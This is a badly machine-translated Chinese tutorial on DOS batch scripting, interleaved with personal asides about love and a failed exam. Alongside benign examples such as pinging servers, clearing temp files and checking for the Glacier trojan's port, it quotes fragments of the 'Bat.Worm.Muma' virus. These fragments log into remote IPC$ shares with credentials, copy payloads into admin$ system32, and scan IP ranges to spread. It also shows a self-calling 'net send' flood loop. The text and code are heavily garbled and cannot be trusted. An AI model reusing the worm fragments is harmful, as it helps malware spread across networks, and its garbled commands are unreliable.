original
This is a technical tutorial. I sincerely express the meaning of my own use very simple text. As long as you know, you can learn knowledge. Writing this tutorial is to let every friend who have seen these words to remember a sentence: If love can make things easier, let it make it simple! Looking at this tutorial, it is slow! Slowly, like a woman, a cup of tea, you will find a lot of things that have been suddenly changed in front of you, and some very distant things suddenly returned to their eyes. First outlined what batch is something. The definition of the batch, I have not given a suitable thing until now - many masters have not given it ---- anyway, I don't know ---- I don't have to convincing ---- I am a rookie, of course, I don't have to say it; but I want to sum up a "more suitable", and I also believe that I can explain it very clearly, let more rookie know this is what is this, you Can do something with this stuff. Maybe you will "unconditionally in love with the batch" because of this article, then my purpose is reaching ---- I just want you to fall in love with it, I am so awkward, how can you? ? Really, I am so awkward, that is, there is no reason, that is, don't face! Really! According to my understanding, the nature of the batch is a collection of DOS commands to be formed in order to arrange. OK, Never Claver and get to business (gossip less speech is correct). Batch, also known as a batch script, English translation for Batch, batch file suffix BAT takes the top three letters. Its composition does not have a fixed format, as long as you follow the following: Each line can be seen as a command, you can include multiple subcommands in each command, start executing from the first line until the end, the platform it runs Is DOS. There is a very distinctive characteristic of batch processing: convenient, flexible, powerful, high automation. I don't want to write my own tutorial and tasteless, because the problem is to take the code (the content of the batch?) The problem is boring, and few people can face the full-screen code. So I will use a lot of simple and practical examples to let friends who read this tutorial to experience the charm of the four shots of the approved, feel the ancient spiritual personality, I don't know if I love the batch (dizzy, how to love What is the relationship between batch and love? Answer: No!). Then say "gossip": learn to have a good batch, the DOS foundation must be strong! Of course, the brain is also very important.
For example, give a batch script first, let everyone make it familiar with it, save the following line commands to Name.bat and then execute (only the code is given in later, save and perform mode): Ping sz.tencent.com> a.txtping sz1.tencent.com >> a.txtping sz2.tencent.com >> a.txtping sz3.tencent.com >> a.txtping sz4.tencent.com >> a.txtping Sz5.tencent.com >> a.txtping sz6.tencent.com >> A.txtping Sz7.tencent.com >> A.TXTEXIT does not understand? Is it very easy? But its role is very practical, after performing this batch, you can build a file called A.txt in your current disk, which records the information recorded can help you quickly find the fastest QQ server, thus Stay away from the painful process of "from the server". Here, what is the meaning of the previous order, and the "the role of", >>, and> the same, the difference is to append the result to the result of the previous line, specifically said that One line, and the results derived by the front line will be retained, so that this A.TXT file is getting bigger and bigger (thinking about how to destroy it ??). By The Way, this batch can also be combined with other commands, to achieve a complete automation to determine the server's speed, and directly display the fastest server IP, is it very cool? Alongings will also be described in detail later. Example 2, give an outdated example (A.BAT): @ echo offif exist c: / progra ~ 1 / tencent / ad / *. Gif Del C: / Program ~ 1 / tencent / ad / *. GIFA . Why is this an outdated example? Very simple, because now there is almost no one with an advertisement (kao, my QQ also shows friends three !!), so it almost can't use it. However, its role is unspeakable: delete QQ advertisements, let the dialog are clean. The address used here is the default installation address of QQ. The default batch file is named A.BAT, you can of course modify it according to the situation. In this script, use the IF command so that it can reach the right time to determine and delete the effect of the ad image, you only need not to close the execution of the DOS window, do not press CTRL C to terminate the command, it has always monitored whether there is an ad Picture (QQ also constantly checking if your ad is deleted). Of course, this script takes up you some memory, huh, huh. Example III, use batch script check whether there is a hill. The script content is as follows: @echo offnetstat -a -n> a.txtType a.txt | Find "7626" && echo "CONGRATULATIONS! You Have Infected Glacier!" DEL A.TXT PAUSE & EXIT This uses the netstat command, check all Network port status, only you need to know the port used by Trojans, you can easily judge whether it is treated with a glacial. However, this is not certain, because the default port 7626 of the ice is completely modified. Here is just methods and ideas.
What is introduced here is that the method and ideas are changed slightly, it turns into a script that can check other Trojans, change it, add the parameters and port and information list files, turn it into automatically detecting all Trojan scripts. Oh, isn't it very enjoyable? The combination command & pipe command is also taken in the script. Example 4, Borrowing Application Automatic Clearing System Garbage, script is as follows: @echo offif exist c: / windows / temp /*.* DEL C: / Windows / Temp /*.* if Exist C: / Windows / Tempor ~ 1 / * DEL C: / Windows / Tempor ~ 1 /*.* if Exist C: / Windows / History /*.* DEL C: / Windows / History /*.* if EXIST C: / Windows / Recent / *. * DEL C: / Windows / Recent /*. Save the above script content to autoexec.bat, and use the system garbage to automatically delete each time it is turned on. Here you need to pay attention to two points: 1. DOS does not support long file names, so there is a Tempor ~ 1 this stuff; two, can be changed according to its own actual situation, so that it meets your own requirements. How, see here, is you already interested in batch scripts? Is it found that I have already loved this stuff? Don't be happy too early, love is not a simple matter, it may bring you happiness and happiness, of course, you can also want you to jump. If you know that it is difficult to continue, I sue you! Keep working hard, maybe you don't have to get true love (really there is this possibility, you know), but you can experience the process of the whole love, just this. Sour, bitter and spicy, have a sweetness. Why do you teach your batch and love? Not my boring, nor because of this is interesting, there is two: one, batch processing and love have a lot of places, some places I use "professional" to explain unclear (I don't doubt your own expression, But it is not good to say it. I said that I didn't say it, but the love of the genus knows a metaphor (what is love is? I ** !!), I am not allowed to be in the heart, I have a half-time, Why is it not? Second, I have a good time, I have a cold, but I have a good feelings, but the people are still in the spirit, people are annoying. I am borrowed to write a few words, everyone will buy dog skin plaster, completely It can be omitted (maybe a little effect) - not letting you watch it, sleep, take the head to find the medical expenses). If you can see the heroes of Yang Tong, Zhang Wuji and other golden old predecessors in the next tutorial. I have seen the first chapter, I must have a preliminary impression on the batch, know what it is used to do. But do you know where is the essence of applying a batch? In fact, it is very simple: thinking is flexible! there is nothing you can not do, only something you can not think of. This is a bit different from love, because the world of love is the world of two people, and the counsel is willing to call love (supplement: that is single love.
nonsense! ) And batch is a person's paradise, you can do whatever you want, there is no realm! Batch looks messy, but it is strong, it is absolutely not lower than other programs (such as compilation). If you write the script is a pile of mess, although every line of command is correct, but from the beginning to the end, no You must get the result you want, maybe it's a screen's Bad Command or Fail Name. This is also common with love: steps to operate, lack or increase by step, can result in the results that do not want to see. Friends who have been caught in love, believe that there is no unaffirmation. My love batch, the result of the output is not Bad Command or Fail Name, the screen is displayed: 'Your love' is not internal or external command, nor is it a running program or batch file. Then the cursor does not stop flashing, waiting for this next error. From this chapter, it will be introduced by the shallow into the approved command. Many common DOS commands have this extensive application in the batch script, which is the Body section of the batch script, but the batch is more flexible than DOS. Diverse, more automation. To learn a good batch, DOS must have a relatively solid foundation. Here only, some more (relatively) DOS commands, common commands such as Copy, DIR, do not introduce (these seemingly simple commands are actually complicated, I am afraid that they are not clear!). Example 5, first look at an example. This is a very interesting script, a small and practical good stuff, which means the characteristics of "automation" in batches. First introduce the origin of this script: Everyone knows the process of assembler (MASM), first to assemble, connect, then execute, and then execute, and many of this in this middle need to enter a lot of things, trouble is very trouble Only those who have experienced experience). How to make this process simple? When we engage in assembly course design, I "was forced" wrote this script, which is very cool, huh, huh.
Look at the contents of the script: @echo off :: close echocls :: clean screen echo This programme is to make the MASM programme automate :: display infoecho Edit by CODERED :: display infoecho Mailto me: qqkiller***@sina.com :: Display Infoif "% 1" == "" GOTO USAGE :: if INPUT WITHOUT Paramater Goto usageif "% 1" == "/?" goto usage :: if paramater is "/?" GOTO USAGEIF "% 1" == " Help "Goto Usage :: if Paramater IS" Help "goto usage pause :: pause to see usagemasm% 1.asm :: assemble the .asm code% 1.ASM :: if error PAUSE TO SEE Error MSG And Edit The Codelink% 1.obj &% 1 :: Else Link the .obj file and execute the .exe file: usage: this ba file name [asm file name] echo default ba file name is start. Bat :: Display usage Don't be scared by this pile, calm down carefully (think about how the first paragraph is written !!). Already given the explanation of each line, the contents of the two colons are explained for the previous line of content (afraid of Ewen friends don't have to worry, it is very easy, I understand it, I don't understand it. Check the dictionary, so lazy?), Do not show when the script is executed, or no effect. The countdown line 5 is the first colon, but it is not a note! The specific role will be explained in detail. In this script, MASM and LINK are assembler and connections, must be with the Edit program and the source code you want to edit (of course, this script, nonsense!) Is in the current directory. Using this batch script, you can reduce manual input, just press the Enter key during the whole process, you can implement automated conversion from assembly source to executable Exe files, and have intelligent judgment function: if compiling The time source code has an error (assembly is unsuccessful), the error message is automatically paused, and automatically enters the editing source code interface after pressing any key; if the source code assembly is successful, the connection is performed, and the generated EXE is automatically executed after the connection. file. In addition, due to the simplicity and flexibility of the batch command, this script also has a good improvement, simply modifying, can comply with different friends' habits. Friends who are studying, must don't forget to internship! There are several commands in this script: @, echo, ::, pause,: and goto,%, and if. This chapter will tell these orders.
1, @ 这个 大 Everyone is unfamiliar, Email's essential symbol, how can it run to batch? Oh, it's not its fault, the batch is inseparable from it, or it is not perfect. Its role is to let the execution window not displaying the command itself behind this line (how much nozzle!). Oh, it is popular, and if you have it, this line is not displayed. In Example 5, in the first line of @echo off, @'s role is that the script does not display the next Echo Off section when executed. Do you understand this? Still don't understand? It doesn't matter, after reading the echo command profile, you will understand it. 2, Echo Chinese is "feedback", "return" means. It is actually a switch command, that is, it has only two states: open and close. So I have two commands with echo on and echo off. Directly executing the echo command will display the current echo command status (OFF or ON) to execute the echo off will be closed. All commands will not display the command itself, only the execution result is displayed unless the echo ON command is executed. In Example V. The first line of @ command and the echo off command jointly, reaching two purposes: do not display the echo off command itself, not displaying the command itself in each row after. It is indeed a bit chaotic, but if you practice, 3 minutes, you will not return money! Another usage of the echo command 1: You can use it to display information! As the second line in the illumination in Example 5, the Default Bat file name is start.bat will be displayed in the window after the script is executed, and the echo command itself does not display (why ??). Another method of echo command 2: You can edit the text file directly. Example 6: Echo nbtstat -a 192.168.0.1> a.Batecho nbtstat -a 192.168.0.2 >> A.BATECHO NBTSTAT -A 192.168.0.3 >> A. Bat The editing method of the above script content is, directly the command line input, Enter a car. Finally, an A.BAT file will be generated in the current directory, and the direct execution will result. 3, :: This command is simple, it is an annotation command, in the batch script, and the REM command is equivalent. It is not displayed when it is executed, and it doesn't matter, because it is just a comment, just increasing the readability of the script, and the C language / * ........... * / Similar. I can understand it, I don't have much to say. 4, pause Chinese means "pause" meaning (see your Workman), I always think it is the simplest command in batch, simple, practical. Its role is to let the current program process pause and display a line of information: Please press any key to continue. .. In Example 5, this command used two times. The first role is to let users see the program information, the second is to display the error assembly code information (it is not what it wants to display, but the MASM program is displaying error message It was stopped when it was stopped so that you can see where your source code is wrong). 5 ,: and goto Why do you join these two orders? Because they are inseparable, no matter which one or more, it will be wrong. Goto is a jump command: it is a label. When the program runs to GOTO, it will automatically jump to: the defined part is executed (is it not to open?).
The countdown in the fifth line of the 5th line appears:, then the program automatically jumps to: the part of the label definition is executed, the result is displaying script USAGE (USAGE is the label name). It is not difficult to see that the goto command is based on this colon and the label name to find it to the jump, and they are one-to-one correspondence. The goto command is often used in conjunction with the IF command. As for these two commands specific usage, refer to Example 5. Another usage of the goto command 1: Equal over the program. Use the goto command in the middle of the program to jump to a label, and the content of this label is defined as an exit. Such as: ... goto end ...: End Here: End is on the last line of the script! In fact, this example is very mentally, followed by if the IF command and combination command you will know. 6,% this percent sign is not the order, it is just the parameters in the batch (except for the case of using it together, there will be a detailed introduction later), but don't think it is just a parameter. I have read it (see how many places in Example 5 used it?), Less than 51% of its batch is reduced. Take a look at the case: NET USE / /% 1 / IPC $% 3 / u: "% 2" Copy 11.bat //% 1 / admin $ / system32 / ycopy 13.bat //% 1 / admin $ / system32 / ycopy ipc2.bat //% 1 / admin $ / system32 / ycopy nwzi.exe //% 1 / admin $ / system32 / yattrib //%1/admin (sstem32⏺.bat -r -h -s above code Is part of the Bat.Worm.Muma virus,% 1 represented IP, 2% representative UserName, 3% represents Password. The execution form is: the script file name parameter is a parameter 2 ... Suppose this script is saved as A.BAT, the form is as follows: a ip username password. Here IP, username, password is three parameters, which is not possible (because the program does not run correctly, not because less parameter syntax is wrong) This is automatically used in the script, the script is automatically used by your three parameters ( Remember, it is the same! It is also a one-or-one relationship.) Save 1%, 2%, and 3%, so that the purpose of flexible use (tried, if you directly put the IP, usrname and password directly in the script Then the role of the script is fixed, but if you use%, different parameters can achieve different purposes, is it more flexible?). The use of this parameter will be introduced in the subsequent chapter. Be sure to be very skilled, this requires a lot of exercises, you need to look at the workers! This chapter will write here. There may be a friend asked: Why didn't you introduce if a command? Oh, not, I forgot, but it is not easy to say clearly, the next chapter is talking again! This chapter tells this thing, if you are an initiator, I am afraid it is digested. Remember one sentence: DOS is a batch of Body, any DOS command can be used in a batch script to complete a specific function. Here, have you already thought of using your own stomach to write some Dongdong with automation colors? Very simple, it is a collection of DOS commands. I believe that you have claimed that you have taught the DOS part of the computer grade test in the machine test. bother! Just like a half old woman gets a few years, what do you want to have a few words, what is uncomfortable, and who is not cool.
I know that there is a tiger, I am biased towards the hill, and finally left a scar, I found that I was so fragile, so small, so unbearable. At the edge of the collapse, suddenly recalling the moment of my last flat, I really miss (in fact, I don't like Flat, and I don't like being flat). I need to vent, I use my fingers to hit the keyboard, in a rhythm, there is a rhythmic voice, the above text appears above. But how is this is another way of venting? Chinese people are still amazing. As early as a few thousand years ago, Kong Laofu said "The only girl and villain, it is difficult to raise", true ** has the first clear, admire! Although it is venting, please rest assured, with my temper, since I decide to write this tutorial, I will try my best to write, write perfect, never give yourself regret, I don't have this tutorial. ! There was a classic batch tutorial appeared on your screen. You didn't save until you couldn't find it, you regret it, the biggest pain in the world is too this. If you can give you a chance to watch again, you will say three words to that tutorial: I love you! If you want to add a deadline to this love, you want to be 100 years. Because after 100 years, you may have already hanging it! Now, there is this batch tutorial you are watching on your screen, although it is not as good as you have seen, but if you barely go. Will you love it? Is there a long 50 years? The answer is: Try it. The most important commands in the batch script will be introduced in this chapter, but unfortunately, some details I have not mastered very well, and even some missed. Like I don't know much like love. But I have been working hard, even if I have never got. So it may be more general, but I will tell you method, the rest is the time problem, you need yourself to hone. Let us work together. The frozen three feet is cold, and the drip is not a day. Some things, such as learning batch processing, such as love a person, is unachable, even have a hard harvest, and harvest is small. Reiterating again, when you see this tutorial, you must calm down, unless you have already mastered everything in this tutorial ---- But then you don't have to look, waste time! 7, if the IF is next chapter, then tell if the IF command. In general, the if command is a command that represents the judgment, which can correspond to a corresponding operation, depending on each of the results. About it three usage, here to speak here. (1), input judgment. Still use the example of the case: if "% 1" == "" goto usage if "% 1" == "/?" Goto usage if "% 1" == "Help" goto usage here judges the input The parameter case, if the parameter is empty (no parameters), jump to usage; if the parameter is /? Or HELP (everyone generally see a command help, is it input /? Or help, here is just to do this Let this script look more like a real program) and jump to usage.
It is also possible to express "not equal", for example, if "% 1" == "" GOTO USAGE, it means that if the input parameter is not empty, it will be jumped to USAGE (actually does not mean this. Here, here is the usage, not so much, huh, huh.) Is it very simple? In fact, translation into Chinese, understand Understand. (2) There is a judgment. Look again in the case: if exist c: / progra ~ 1 / tencent / ad / *. Gif Del C: / progra ~ 1 / tencent / ad / *. GIF If there are those GIF files, these files are deleted. Of course, there are examples, all the same reason. Note that the conditions here are judged that there is, of course, it can also be judged, for example, the following sentence "If there is no GIF file, exit the script": if not exist C: / Progra ~ 1 / tencent / ad / * .gif exit. It is just more than one NOT to indicate that it is negative. (3) The result is judged. Still take the five open knife (I didn't expect the script you wrote, so it was so big, huh, huh): masm% 1.ASM if Errorlevel 1 Pause & Edit% 1.ASM link% 1.obj first compile the source code, if failed Then Pause the error message and automatically enter the editing interface after pressing any key; otherwise connect the generated OBJ file with the Link program. Here is only the places related to if commands, and later will be said. This usage is to determine the return code after the previous command execution (also called the error code, the DOS program has a return code after running), if the defined error code is in line with the defined error code (1 defined error code is 1), then Perform a corresponding operation (here the corresponding operation is the PAUSE & Edit% 1.ASM section). In addition, the same can also be denominated as both other two usage. It is still expressing the meaning of the above three sentences with a negative form. The code becomes: masm% 1.ASM if not errorlevel 1 link% 1.obj pause & edit% 1.ASM sees the essence? In fact, only the commands executed after the results are judged, "if not erroorlevel 1" and "if Errorlevel 0" are equivalent, all indicate that the last mages command is successful (because it is wrong judgment, and The return code is 0, 0 indicates whether the negation is said that this error does not exist, that is, MASM execution is successful). Whether to add NOT here, the error code is used to use 0 or 1. It is worth considering. Once the unsuccessful script is definitely wrong, so it must be very profound. How do you experience the profound? Exercise! Write a script yourself, then write in the case of NOT and no NOT, return code 0 or 1, separately, separately (how, you are troublesometh? Arrange the combination, you will be troublesometh? There is more trouble when the pipeline command and the combination order! I am afraid? Ha ha.), So that the difference between these two situations is clear from the results of the implementation. This use of Errorlevel results is the most difficult usage of IF commands, but it is also the most useful usage. If you don't use Errorlevel to determine the return code, you must reach the same effect, you must use ELSE to indicate "otherwise "The operation is more troublesome.
The above code must become: masm% 1.ASM if exist% 1.obj link% 1.obj else pause & edit% 1.ASM About the three usage of if commands, it is very simple, but the application If you don't necessarily use, you should have a problem of proficiency. Maybe some friends are a bit surprised. Why didn't I give the usage introduction similar to the following three lines, because the following three lines are the explanation of its own usage in the IF command help, anyone can see if one "if /?" Can see I don't have to be more expensive here; more important reasons, I think this is unclear, and people who don't necessarily look at it, so I use my own understanding of the IF command. It must be noted that the format of these three usage is different, but also cannot be changed, but in fact, it can be interchanged (in essentially, these three usage are based on judging, philosophy) Teach us to learn the essence of things through the phenomenon!). Interested friends can study themselves. IF [not] Errorlevel Number do command if [not] string1 == string2 do command if [not] exist filename do command 8, Call learned assembly or c, know what the CALL directive means, here it It is true that it is true. In the batch script, the call command is used to call another batch script from a batch script. OK (the default three script file names are start.bat, 10.bat and ipc.bat): Start.bat: ... Call 10.bat 0 ... 10.bat: ... Echo% IPA%. % 1> hfind.tmp ... Call ipc.bat ipcfind.txt ipc.bat: for / f "tokens = 1, 2, 3 delims =" %% I in (% 1) do call Hack.bat %% I% % J %% K has seen anything wrong? Didn't you see it? Didn't see it, it's right, in fact, there is no place, how do you see it! From the above two scripts, you can get the following information: 1, script calls can be used flexibly, looped, repeat. 2. The script call can use parameters! Not much to say about the first point, smart, you should see it, here is the second point. In Start.bat, 10.bat follows the parameter 0, the effect is performed, in fact, the parameter% 1 in the 10.bat is replaced with 0. In Start.bat, IPc.bat follows the parameter ipcfind.txt (one file, you can do parameters), the effect of execution is the three variables of each line in ipc.bat (there is no relationship here. After learning the for command), the %% I, %% J and %% K in IPC.BAT are changed. The parameter call here is very flexible and you need to experience it. During the first school, you can learn only to call the script first. As for the case of using the parameters of the script, there will be a deep understanding in the latter learning, because when you can flexibly use the batch script, how Make the code written more and more perfect and more efficient to naturally include the scope of consideration. At this time, you will find that the parameters directly in the call script can make the code efficiency double.
By the Way, these scripts above are part of the bat.worm.muma virus, in the back tutorial, everyone will have the opportunity to see this virus. Isn't that, at least two batch script files in the same directory (who is only one you call?)? Oh, pay attention, this sentence is wrong! ! Only one still can call ---- call itself! See example nine (default script file name a.bat): Net send% 1 this is a call example. Call A.bat is a combination of two sentences, the effect is naturally not good, because only one machine is sent to send news, who is afraid Who? I will give you a gift! If there is 100 machines to execute, and each machine is opened 10 and the window, you send a message to a target machine, huh. Here, the role of Call A.BAT is to call itself, and then call itself after the previous NET Send command, reaches the purpose of loop execution. Give a very interesting script, interested friends can experiment. Example 10 (the default script file name is a.bat): Call a.bat must be executed under the DOS window, otherwise you will only see a window flashed, see the last result. After the execution is completed, when the script is executed 1260 times, don't forget to think, why! Love sometimes like this script, once in the dead cycle, the final result is unexpected. Just love, it will never wait until the loop that is unreasonable, maybe there is a reminder of Love is Aborted in the third time. 9, Find This is a search command that is used to search for a specific string in the file, usually as a pavement program judged (how do I suddenly remember these four words?). This command is used separately in batches, because there is nothing practical. Or use an example three to explain: @echo off netstat -a -n> a.txt type a.txt | Find "7626" && echo "CONGRATULATIONS! You Have Infected Glacier!" DEL A.TXT PAUSE & EXIT first with NetStat command Check if there is a glacial default port 7626 in the event and saves the results to a.txt. Then list the contents in A.TXT using the Type command, then search for strings "7626" in the listed content, and find that there is a hint, otherwise exits. Look, the Find command is actually as simple, but there must be noticed that if you do not use the Type command to list the contents in A.TXT, use the find command to find "7626" in A.TXT (Find A. TXT "7626" && echo "CONGRATULATIONS! You Have Infected Glacier!"), you must give this A.TXT's absolute path (I tried, the Find doesn't have the default path is the function of the current path, you must specify manually. Maybe I am wrong, welcome to correct). Because there is such a sentence in the help of the Find command: If there is no specified path, Find will search for the text or by another command. The "another command" here naturally refers to the Type command.
As for several other parameters such as v, n, i, etc., such as V, N, i, etc., are interested in studying, this is the content of DOS learning, here is not introduced. About some of the more exquisite usage of the Find command and other commands (some simply being called), the subsequent tutorial will be introduced, I hope to pay attention. 10, for, set, Shift Why put these three commands together? Reason, except for me, I am afraid who can't think of it! Very simple sentence: In fact, I don't know much! Yes, for these two orders, I started learning Bat.Worm.muma virus, time has passed a lot, but I still have not fully understood, I am afraid that I don't understand it, I am more afraid. I accidentally spent the wrong person. So I gave a script to tell you how to let these two commands will leave a preliminary impression, in fact, the introduction of these two orders, but not to say how to understand these two orders. Because I have to understand two exquisite orders (especially for), what is easy! Maybe you will praise I am honest, don't understand, I don't understand; maybe you will marry me, let me hurry, don't know how to get out here; maybe you still say something like this is so good or not listening. If you are, you will be casilled, even if I don't agree with you, I will swear to defend your voice. Example 11: @echo off /?> For.txt SET /?> SET.TXT SHIFT /?> SHIFT.TXT EXIT execution After generating for.txt, set.txt and shift.txt in the current path A file, which records the help information of the for command, set command, and Shift commands. I can understand the earth, I will not say much. I have been looking for a long time for a long time, but I'm not ideal, it is basically a help information. I want to write an For, SET, and SHIFT tutorials that have been summed up with their own text (regarding the shift command, which will also be involved in the parameters of the batch), must Yes, this is one of my wishes! It is necessary to pay attention to the help of these three commands, the introduction is a relatively dead board, although there are some examples, but this is not enough. To master these two orders, the most needed is patience! Didn't write wrong, it is patience. The light is carefully read, and the help text already needs enough patience. If you have to practice these two orders, don't you need more patience? The chance of actual exercises will be left to you, the key is the sentence, see if you have patient research.
Take a look at the 12: Start.bat: Call Muma.bat Set IPA = 192.168 Call 10.bat 0: Nearagain NetStat -n | Find ":"> a.tmp for / f "Tokens = 7, 8, 9, 10 , 12 delims = .: "%% I in (a.tmp) do set num1 = %% I && set num2 = %% J && set num3 = %% k && set num4 = %% l && set num5 = %% M && Call Near. Bat: Start call random.bat if "% Num1%" == "255" goto nearegain if "% Num1%" == "192" goto nearagain if "% Num1%" == "127" goto nearegain if "% Num2 % "==" 255 "goto nearegain if"% Num3% == "255" goto nearegain if "% Num4%" == "255" goto nearegain set IPA =% Num1%.% Num2% echo start> A. LOG ping% IPA%.% Num3% .1> B.TMP ping% IPA%.% Num3%.% Num4% >> B.TMP Find / C / I "from" B.TMP if Errorlevel 1 Goto Start Call 10 .Bat% Num3% DEL A.LOG GOTO Start This is the starting script of the Bat.Worm.Muma virus and sets the environment variables of the virus. Is it big? I have forgot to write the sentence in the first paragraph in Chapter 1 (calm down!), You should be able to understand the patience you need to learn these two orders. Just like a person, you have to learn to be tolerant, you can't get it, use your big mind to enclose her everything, even if you find that the process of love her, let your head, but you still I have to love it -? Do you need a reason? Don't you need it? do you need? Don't you need it ... After the wind is calm, the most intuitive gain is, your patient is unprecedented, facing her complexity and kindness, you will be unrestrained, you can go to your own way, you can't cope with the scene. Even if the last body is scar, how great is it. That's right, this is the charm of batch processing, this is the charm of love. Let you be hurt, thank you people who hurt you. This feeling is like rape in your favorite music, hurts and happily. I have to reiterate again, all kinds of DOS commands are batch of body (I really can't find a more suitable word to describe the relationship between them), learn the DOS command is the premise of learning the batch. Other DOS commands such as Copy, DIR, DEL, TYPE, PATH, BREAK, START, etc., as well as external commands such as ping, net, cmd, at, sort, attrib, fc, find, etc., the application in batch is very broad. The role of this tutorial is to teach you to know batch, and how to use the DOS command to combine a perfect batch script, let it automate what you want to do.
And flexible editing a batch script is based on skilled in the DOS command, which has exceeded the category of this article, and will not be described here. Unconsciously, the third chapter is over. The earset is still Chen Xiaodong's "Happy than I am" more than 32 seconds every 4 minutes. Although I don't really like Chen Xiaodong, I don't hinder me like music, I like this kind of song that is like this. Pleasebe you must be better than I / I don't want to spend my wolf. I don't want to say it. / I am silently counting / finally seeing you clear / look at your eyes, I am flying / slowly exiled. I like a old sera of the guest who has lost the guests due to the old age, desperate, in the brilliant red light district, with a population of a face, silently recalling the past, fantasy I will face the future. Until I saw those who cuddles together, I suddenly found the fairness of God and the cruelty of this fairness. It can be said that the most important commands in batch scripts have not given more detailed introduction as echo or if, I have already said, because I am also a dish, I don't know much ---- But I am learning! What about you? Today, I went to a library, and I found a "DOS batch document" in the gold, hiding in a corner, fell as the ash, five, together, as thick as the brick. I turned over, introduced a lot of things and foundations, although I said, I have a little Time OUT, and many things have basically not used value (this is the update speed of the information age), but it is still worth it. watch. So I plan to take it in the afternoon, I have a holiday back to study again, and I will finish it together with the unfamiliar orders, and continue to write this tutorial. I always believe that there is nothing better. But a pity, wait until afternoon, the library stairway has already set up a brand, which is written in Out of Service ---- The work of people this semester is over. So returned to the dormitory, I plan to continue to write the fourth chapter. At this time, I got a "exciting" news: The final exam has a department, and it is the first class. ---- this door is hung throughout the class I am one. Depressed emotions have a heart, the whole world seems to be black. The canteen and the small selling department have been closed, and the people in the school are getting less and less. Several students who come over, they are busy preparing to go home for the New Year, the heart is lonely and lost as the dark cloud before the rainstorm in the summer. The irresistible occupation of every corner of your heart. Getting on the cold wind in January, I am in a dazzling, what can I do, and the end of the final exam will not be able to pay a failure man. "Time to rest" time seems to be a long, huh, huh, class! From this chapter, several combination commands and pipeline commands commonly used in batch processing will be described in detail. Although these orders are not necessarily, if they love one person, they are not necessarily to accompany, but if this process is less, things will become more complicated and not perfect, so I think the pipeline command and the combination command are the seasoning stiffness. Almost less. The following is spoken from the pipeline command. The commonly used pipelines have the following: |,>, >> 11, | This order I am afraid everyone is not very strange, often doing DOS friends should know, when we view a command help, if the help information is relatively long, one The screen shows that DOS does not give us time to let us see another screen and turn it back to another screen, but directly display the last of the help information.
If you enter a Help Enter, you will see all the non-hidden commands supported by the current DOS version, but you can only see the last commands, the front has been flashing, how to solve this problem? See XIII: Help | More Entering After the display is automatically paused after the screen is displayed, waiting for additional information. When the carriage return is written, it becomes a one-one appearance; when the space button is pressed, a screen is displayed until all is displayed; pressing other keys to automatically stop returning DOS. Why does the above phenomenon? The answer is simple, here is combined with the pipeline command | and the dos command more to achieve the purpose. Here you will briefly introduce the help command and more command, which helps the usage of the understanding | command. 11.1, Help Command. In fact, this command does not need to be said, but in the above example, the HELP command is special, and the HELP command is entered directly at the DOS prompt. The result is that DOS displays all the non-hidden commands he supported, but in other The place is used with a HELP command, such as entering NET HELP, is a help information for the NET command. 11.2, more command. Maybe many friends have never been exposed to this order, this order is very wide under Linux, and is one of the pipelines. Everyone can find a relatively long article (A.TXT) Enter the following two commands in the DOS prompt to compare the difference: more a.txt and type a.txt. Using the more command, you can reach the effect of the output or progress line, and the TYPE command can only display the output once, and the final result is only the end of the end. In Example 13, the role of more command is to display the information of the output or progressive line. See here, is you can't feel vague | Commands? That's right, its role is to use the output of the previous command. In the first order, the output of the previous command is all non-hidden commands supported by the Help command execution, and this result is just the input of the MORE MORE. So Example 13 and the following examples are equivalent: Help> a.txtmore a.txtdel a.txt This uses another pipe command> Generate an A.TXT file as an intermediate link, view A with more command A After the .txt file, delete the a.txt file (all the operations of the Example 13 are done in memory, no files). It can be seen that the correct use of the pipeline command | can bring a half-time effect. Combining Example 13 and Examples, and the previous examples of the first example: | The action of the command is to make the output of the previous command as the input of the next order. 12, >> The effects of these two orders are the same in nature, they are all output redirected commands, and the popularity is the point of writing the output of the previous command to a file. The only difference between these two commands is that> Write the new content into the original file after the contents of the original file, and >> will only add new content to the original file, not to change The original content.
Example 15: Echo @echo off> A. Bat Echo echo this is a pipeline command example. >> A.BATECHO Echo it is very easy? >> A. Batecho Echo Believe Your Self! >> A.BATECHO PAUSE >> A.BATECHO EXIT >> A. Bat In turn, enter the above commands in the DOS prompt, a row a bus, will generate an A.bat file in the current directory, the content is as follows: @echo off echo this is a pipeline Command Example.echo it is very easy? echo believe your self! pauseExit See here, how much information did you get? 1. You can edit a text using the write function of the echo command directly on the DOS prompt, without a special text editing tool; 2, the difference between pipe commands> and >> as described above. If you only use the> command here to complete the above, it will eventually generate an A.BAT, but only the last line of Exit is left. So> and >> usually use, unless you redirect the output only one line, you can use only>. The combination of examples have repeatedly exported to the output redirection pipeline command> and >>. 13, <,> &, <& "These orders are also pipelines, but they are generally not common, you just need to know that it is OK, of course, if you want to study it, you can check it yourself. <, Enter the redirected command, read the command input from the file instead of reading from the keyboard. > &, Write the output of a handle to the input of another handle. <&, Just, and> & in turn, read input from one handle and write it into another handle output. For example, for the three pipelines, it will also be involved in the exquisite application of the rear batch script. The combination command: &, &&, || combination command, as the name suggests, is to combine multiple commands as a command. This is allowed in batch scripts and is very wide. Its format is very simple - since now it has become a file, then this multiple commands will be connected to the same line with these combined commands --- Because the batch is not recognized. The role of the combination order is like giving love people. It is said that it is said that it is said that it is said that it is said that it will take a good words. The effect may be better - Of course, I have to exclude a special situation: These words Is there a sequence in order, some words can be said at the same time. Like the batch script, sometimes some commands cannot be executed at the same time, and later tell you. Just sent away a classmate, people went to the building to feel more and more obvious, looking at empty beds, there is only one person left in the noisy dormitory in the next day, the whole world is only the very annoying mouse At this time, you will be cute ---- only it will accompany me in the dark night of this dare not turn off ---- a failure man who can't pay attention to the final exam. failure! I feel that I can't breathe, this failure is simply suffocating me, simply letting my hand receive the signal of the brain, simply let this unfinished tutorial die.
